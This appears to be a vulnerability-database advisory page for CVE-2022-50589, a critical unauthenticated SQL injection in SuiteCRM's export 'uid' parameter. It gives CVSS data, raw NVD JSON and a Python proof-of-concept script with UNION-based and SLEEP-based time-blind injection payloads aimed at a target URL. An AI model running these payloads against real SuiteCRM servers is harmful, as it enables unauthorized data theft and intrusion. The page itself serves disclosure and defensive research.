Security Vulnerability Report
中文
CVE-2022-50589 CVSS 9.8 CRITICAL

CVE-2022-50589

Published: 2025-11-06 20:15:37
Last Modified: 2025-11-24 19:07:23

Description

SuiteCRM versions prior to 7.12.6 contain a SQL injection vulnerability within the processing of the ‘uid’ parameter within the ‘export’ functionality. Successful exploitation allows remote unauthenticated attackers to ultimately execute arbitrary code.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:salesagility:suitecrm:*:*:*:*:*:*:*:* - VULNERABLE
SuiteCRM < 7.12.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2022-50589 PoC - SuiteCRM SQL Injection via export functionality Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys def exploit_sql_injection(target_url, record_id="1"): """ Exploit SQL injection in SuiteCRM export functionality Args: target_url: Base URL of the SuiteCRM instance record_id: Target record ID to extract data for Returns: bool: True if exploitation appears successful, False otherwise """ # SQL injection payload - extracts database version # Using UNION-based injection to extract MySQL version payload = f"{record_id}' UNION SELECT NULL,@@version,NULL,NULL,NULL-- -" # Construct the malicious request to export functionality endpoint = f"{target_url.rstrip('/')}/index.php" params = { "module": "Contacts", "action": "export", "uid": payload } try: print(f"[*] Target: {target_url}") print(f"[*] Payload: {payload}") print(f"[*] Sending malicious request...") response = requests.get(endpoint, params=params, timeout=30) # Check for signs of successful injection if response.status_code == 200: # Check if database version appears in response if "5." in response.text or "8." in response.text: print("[+] SQL Injection successful! Database version leaked.") return True print("[-] No obvious injection detected") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def blind_injection_test(target_url): """ Time-based blind SQL injection test """ # Normal request baseline baseline_params = { "module": "Contacts", "action": "export", "uid": "1" } # Time-based injection payload (5 second delay) injection_params = { "module": "Contacts", "action": "export", "uid": "1' AND (SELECT * FROM (SELECT SLEEP(5))a)-- -" } endpoint = f"{target_url.rstrip('/')}/index.php" try: print("[*] Testing blind SQL injection...") # Send baseline request import time start = time.time() requests.get(endpoint, params=baseline_params, timeout=30) baseline_time = time.time() - start # Send injection request start = time.time() requests.get(endpoint, params=injection_params, timeout=30) injection_time = time.time() - start if injection_time > baseline_time + 4: print(f"[+] Blind SQL Injection confirmed! Response delayed by {injection_time:.2f}s") return True else: print("[-] Blind injection test inconclusive") return False except Exception as e: print(f"[-] Test failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2022-50589.py <target_url>") print("Example: python cve-2022-50589.py http://victim.com/SuiteCRM") sys.exit(1) target = sys.argv[1] exploit_sql_injection(target) blind_injection_test(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50589", "sourceIdentifier": "[email protected]", "published": "2025-11-06T20:15:36.787", "lastModified": "2025-11-24T19:07:23.373", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SuiteCRM versions prior to 7.12.6 contain a SQL injection vulnerability within the processing of the ‘uid’ parameter within the ‘export’ functionality. Successful exploitation allows remote unauthenticated attackers to ultimately execute arbitrary code."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:salesagility:suitecrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.12.6", "matchCriteriaId": "ADD22F85-ECD2-455A-9441-636E35C01F1B"}]}]}], "references": [{"url": "https://blog.exodusintel.com/2022/06/09/salesagility-suitecrm-export-request-sql-injection-vulnerability/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://docs.suitecrm.com/admin/releases/7.12.x/#_7_12_6", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/suitecrm-sqli-via-export-functionality", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}